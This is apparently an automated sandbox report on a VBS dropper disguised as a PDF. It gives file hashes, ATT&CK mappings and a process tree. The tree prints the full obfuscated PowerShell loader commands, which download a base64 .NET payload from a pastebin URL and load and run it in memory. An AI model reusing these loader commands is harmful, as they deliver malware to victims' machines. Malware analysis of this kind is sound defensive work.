0f891dda9a78f5f13f64c36c85b931bbc9bcdd2ca0085a66a917b8cbed5547c0

General

Target

Ad090512515541511555,PDF.vbs
Size

14.3MB
MD5

5565dd9e27b8d9d3f2c22656193a6a1c
SHA1

f41e89954e0dab2bd7139d5b89a2f80060487a17
SHA256

ec3753896e7a796986bdb9533cfb19481dd02e454fafad31c3c0f026da895afd
SHA512

966ad4fd2fcdcd1bd701a22a391db1ca8beb2af7309cbd49bdf0608b880bbfce3c03f83e9a9342af656d69fe1830526a4118491f83b927a6b34550a96e636f78
SSDEEP

1536:lyyyyyyyyyyyyyyyyyyyyyyyryyyyyyyyyyyyyyyyyyyyyyycyyyyyyyyyyyyyyD:2Z5b

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://pastebin.com/raw/J6uRjZrv

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2352 powershell.exe
2248 powershell.exe
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

PING.EXE

pid process

2804 PING.EXE
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2804 PING.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2352 powershell.exe
2248 powershell.exe
2716 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2352 powershell.exe
Token: SeDebugPrivilege 2248 powershell.exe
Token: SeDebugPrivilege 2716 powershell.exe

pid	process
2352	powershell.exe
2248	powershell.exe

pid	process
2804	PING.EXE

pid	process
2804	PING.EXE

pid	process
2352	powershell.exe
2248	powershell.exe
2716	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1704 wrote to memory of 2352	1704	WScript.exe	powershell.exe
PID 1704 wrote to memory of 2352	1704	WScript.exe	powershell.exe
PID 1704 wrote to memory of 2352	1704	WScript.exe	powershell.exe
PID 2352 wrote to memory of 2248	2352	powershell.exe	powershell.exe
PID 2352 wrote to memory of 2248	2352	powershell.exe	powershell.exe
PID 2352 wrote to memory of 2248	2352	powershell.exe	powershell.exe
PID 2248 wrote to memory of 2900	2248	powershell.exe	cmd.exe
PID 2248 wrote to memory of 2900	2248	powershell.exe	cmd.exe
PID 2248 wrote to memory of 2900	2248	powershell.exe	cmd.exe
PID 2248 wrote to memory of 2804	2248	powershell.exe	PING.EXE
PID 2248 wrote to memory of 2804	2248	powershell.exe	PING.EXE
PID 2248 wrote to memory of 2804	2248	powershell.exe	PING.EXE
PID 2248 wrote to memory of 2716	2248	powershell.exe	powershell.exe
PID 2248 wrote to memory of 2716	2248	powershell.exe	powershell.exe
PID 2248 wrote to memory of 2716	2248	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Ad090512515541511555,PDF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹EM☹QwBS☹Gg☹bQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹cw☹6☹C8☹LwBw☹GE☹cwB0☹GU☹YgBp☹G4☹LgBj☹G8☹bQ☹v☹HI☹YQB3☹C8☹Sg☹2☹HU☹UgBq☹Fo☹cgB2☹Cc☹I☹☹7☹CQ☹Zg☹g☹D0☹I☹☹o☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBJ☹E8☹LgBQ☹GE☹d☹Bo☹F0☹Og☹6☹Ec☹ZQB0☹FQ☹ZQBt☹H☹☹U☹Bh☹HQ☹a☹☹o☹Ck☹I☹☹r☹C☹☹JwBk☹Gw☹b☹☹w☹DE☹LgB0☹Hg☹d☹☹n☹Ck☹I☹☹7☹Ek☹bgB2☹G8☹awBl☹C0☹VwBl☹GI☹UgBl☹HE☹dQBl☹HM☹d☹☹g☹C0☹VQBS☹Ek☹I☹☹k☹EM☹QwBS☹Gg☹bQ☹g☹C0☹TwB1☹HQ☹RgBp☹Gw☹ZQ☹g☹CQ☹Zg☹g☹C0☹VQBz☹GU☹QgBh☹HM☹aQBj☹F☹☹YQBy☹HM☹aQBu☹Gc☹I☹☹7☹GM☹bQBk☹C4☹ZQB4☹GU☹I☹☹v☹GM☹I☹☹7☹H☹☹aQBu☹Gc☹I☹☹x☹DI☹Nw☹u☹D☹☹Lg☹w☹C4☹MQ☹g☹Ds☹c☹Bv☹Hc☹ZQBy☹HM☹a☹Bl☹Gw☹b☹☹u☹GU☹e☹Bl☹C☹☹LQBj☹G8☹bQBt☹GE☹bgBk☹C☹☹ew☹k☹GY☹I☹☹9☹C☹☹K☹Bb☹FM☹eQBz☹HQ☹ZQBt☹C4☹SQBP☹C4☹U☹Bh☹HQ☹a☹Bd☹Do☹OgBH☹GU☹d☹BU☹GU☹bQBw☹F☹☹YQB0☹Gg☹K☹☹p☹C☹☹Kw☹g☹Cc☹Z☹Bs☹Gw☹M☹☹x☹C4☹d☹B4☹HQ☹Jw☹p☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹SQBu☹HY☹bwBr☹GU☹LQBX☹GU☹YgBS☹GU☹cQB1☹GU☹cwB0☹C☹☹LQBV☹FI☹SQ☹g☹CQ☹UQBQ☹HQ☹YQB2☹C☹☹LQBP☹HU☹d☹BG☹Gk☹b☹Bl☹C☹☹J☹Bm☹C☹☹LQBV☹HM☹ZQBC☹GE☹cwBp☹GM☹U☹Bh☹HI☹cwBp☹G4☹ZwB9☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹J☹Bv☹HE☹dQB1☹HQ☹I☹☹9☹C☹☹Jw☹w☹Cc☹I☹☹7☹CQ☹cwB4☹Hg☹cQBk☹C☹☹PQ☹g☹Cc☹JQBK☹Gs☹UQBh☹HM☹R☹Bm☹Gc☹cgBU☹Gc☹JQ☹n☹C☹☹OwBb☹EI☹eQB0☹GU☹WwBd☹F0☹I☹☹k☹HY☹cgBt☹GI☹cQ☹g☹D0☹I☹Bb☹HM☹eQBz☹HQ☹ZQBt☹C4☹QwBv☹G4☹dgBl☹HI☹d☹Bd☹Do☹OgBG☹HI☹bwBt☹EI☹YQBz☹GU☹Ng☹0☹FM☹d☹By☹Gk☹bgBn☹Cg☹I☹☹k☹FE☹U☹B0☹GE☹dg☹u☹HI☹ZQBw☹Gw☹YQBj☹GU☹K☹☹n☹CQ☹J☹☹n☹Cw☹JwBB☹Cc☹KQ☹g☹Ck☹I☹☹7☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBB☹H☹☹c☹BE☹G8☹bQBh☹Gk☹bgBd☹Do☹OgBD☹HU☹cgBy☹GU☹bgB0☹EQ☹bwBt☹GE☹aQBu☹C4☹T☹Bv☹GE☹Z☹☹o☹CQ☹dgBy☹G0☹YgBx☹Ck☹LgBH☹GU☹d☹BU☹Hk☹c☹Bl☹Cg☹JwBU☹GU☹a☹B1☹Gw☹YwBo☹GU☹cwBY☹Hg☹W☹B4☹Hg☹LgBD☹Gw☹YQBz☹HM☹MQ☹n☹Ck☹LgBH☹GU☹d☹BN☹GU☹d☹Bo☹G8☹Z☹☹o☹Cc☹TQBz☹HE☹QgBJ☹GI☹WQ☹n☹Ck☹LgBJ☹G4☹dgBv☹Gs☹ZQ☹o☹CQ☹bgB1☹Gw☹b☹☹s☹C☹☹WwBv☹GI☹agBl☹GM☹d☹Bb☹F0☹XQ☹g☹Cg☹Jw☹w☹C8☹bg☹1☹Gg☹TQB6☹C8☹cg☹v☹GU☹ZQ☹u☹GU☹d☹Bz☹GE☹c☹☹v☹C8☹OgBz☹H☹☹d☹B0☹Gg☹Jw☹g☹Cw☹I☹☹k☹HM☹e☹B4☹HE☹Z☹☹g☹Cw☹I☹☹n☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹Gs☹ZwBs☹G0☹e☹Bf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹LQ☹t☹C0☹LQ☹t☹C0☹LQ☹n☹Cw☹I☹☹k☹G8☹cQB1☹HU☹d☹☹s☹C☹☹Jw☹x☹Cc☹L☹☹g☹Cc☹UgBv☹GQ☹YQ☹n☹C☹☹KQ☹p☹Ds☹';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\Ad090512515541511555,PDF.vbs');powershell $Yolopolhggobek;
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/J6uRjZrv' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$oquut = '0' ;$sxxqd = 'C:\Users\Admin\AppData\Local\Temp\Ad090512515541511555,PDF.vbs' ;[Byte[]] $vrmbq = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($vrmbq).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/n5hMz/r/ee.etsap//:sptth' , $sxxqd , '_________kglmx___________________________________-------', $oquut, '1', 'Roda' ));"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2248

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c
4⤵
PID:2900

C:\Windows\system32\PING.EXE
"C:\Windows\system32\PING.EXE" 127.0.0.1
4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1e84957023e8c16df8d55e528cb18896

SHA1
0103a56ce2d03c7f30602bf9ac018ea3ce15b418

SHA256
68b12222bb9e184d05815c97503373ba7c8be17e1561e8371221ea0f8a2e44c1

SHA512
a64c03bc1766339e56f8a133d1552db08b0616780c1e7fc6a7f28e61a8c47dd9986bc9a47940abea591395095c644bb1321cf2264c781873c71d20efd51ebbd6

Download Submit
memory/2352-4-0x000007FEF570E000-0x000007FEF570F000-memory.dmp

Filesize
4KB

Download
memory/2352-5-0x000000001B4A0000-0x000000001B782000-memory.dmp

Filesize
2.9MB

Download
memory/2352-6-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2352-7-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/2352-8-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/2352-10-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/2352-15-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/2352-21-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download

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